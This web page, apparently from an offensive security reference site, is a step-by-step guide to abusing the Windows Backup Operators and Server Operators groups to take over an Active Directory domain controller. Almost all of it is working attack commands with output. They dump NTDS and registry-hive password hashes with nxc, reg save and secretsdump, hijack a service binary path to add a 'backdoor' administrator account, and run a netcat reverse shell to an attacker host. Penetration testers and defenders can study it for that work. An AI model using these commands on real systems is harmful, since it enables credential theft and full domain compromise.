Skip to content
HackIndex logo

HackIndex

Backup Operators and Server Operators Abuse

3 min read Jul 10, 2026

Backup Operators and Server Operators are built-in AD groups that sit below Domain Admins in visibility but carry enough rights to fully compromise a domain controller. Backup Operators can read any file on the system regardless of ACLs — including the NTDS database and registry hives. Server Operators can modify, stop, and start services — which translates directly to SYSTEM-level code execution by replacing a service binary path.

Both groups are commonly granted to service accounts, junior sysadmins, and backup software accounts. Check group membership during enumeration with Object Enumeration.

Backup Operators — dump NTDS via nxc

nxc has a dedicated module that automates NTDS extraction for Backup Operators members. It creates a shadow copy, copies NTDS.dit and the SYSTEM hive, downloads them, and parses hashes — all in one pass.

┌──(kali㉿kali)-[~]
└─$ # Automated NTDS dump via backup_operator module
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M backup_operator
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -M backup_operator 
[*] Creating shadow copy
[*] Copying NTDS.dit from shadow copy
[*] Copying SYSTEM hive
[*] Parsing hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::

Backup Operators — manual registry hive dump

When on the target directly via evil-winrm or a shell, save the SAM, SYSTEM, and SECURITY hives manually. These three files together contain all local account hashes and cached domain credentials.

PS C:\Users\Guest\Desktop> # Save hives to disk — Backup Operators can always do this
PS C:\Users\Guest\Desktop> reg save HKLM\SAM C:\Windows\Temp\SAM.hiv
PS C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hiv
PS C:\Users\Guest\Desktop> reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hiv
 
PS C:\Users\Guest\Desktop> # Download via evil-winrm
PS C:\Users\Guest\Desktop> download C:\Windows\Temp\SAM.hiv
PS C:\Users\Guest\Desktop> download C:\Windows\Temp\SYSTEM.hiv
PS C:\Users\Guest\Desktop> download C:\Windows\Temp\SECURITY.hiv 
The operation completed successfully.
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam SAM.hiv -system SYSTEM.hiv -security SECURITY.hiv LOCAL 
[*] Target system bootKey: 0x3a1234...
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
[*] Dumping cached domain logon information
corp.local/svc-backup:$DCC2$...

Server Operators — service binary path hijack

Server Operators can change the binary path of any service and start or stop it. Replacing the binary path with a command that adds a local admin or drops a reverse shell executes as SYSTEM when the service starts. Target services that are already stopped or that can be safely stopped without disrupting the engagement.

PS C:\Users\Guest\Desktop> # List running services — look for non-critical ones
PS C:\Users\Guest\Desktop> sc.exe query type= all state= all
 
PS C:\Users\Guest\Desktop> # Check current config of a target service
PS C:\Users\Guest\Desktop> sc.exe qc $SERVICE_NAME
 
PS C:\Users\Guest\Desktop> # Replace binary path with a backdoor command
PS C:\Users\Guest\Desktop> sc.exe config $SERVICE_NAME binPath= "cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add"
 
PS C:\Users\Guest\Desktop> # Restart service to execute
PS C:\Users\Guest\Desktop> sc.exe stop $SERVICE_NAME
PS C:\Users\Guest\Desktop> sc.exe start $SERVICE_NAME
 
PS C:\Users\Guest\Desktop> # Verify new local admin was created
PS C:\Users\Guest\Desktop> net localgroup administrators 
[SC] ChangeServiceConfig SUCCESS

SERVICE_NAME: AppXSvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 4  RUNNING
PS C:\Users\Guest\Desktop> # Stage nc.exe on target first (upload via evil-winrm or SMB)
PS C:\Users\Guest\Desktop> sc.exe config $SERVICE_NAME binPath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
PS C:\Users\Guest\Desktop> sc.exe stop $SERVICE_NAME
PS C:\Users\Guest\Desktop> sc.exe start $SERVICE_NAME

After execution, restore the original service binary path to avoid leaving a broken service. Use the config saved from sc.exe qc before making changes. With local admin or SYSTEM access on the DC, proceed to DCSync and Domain Takeover to dump all domain hashes.

References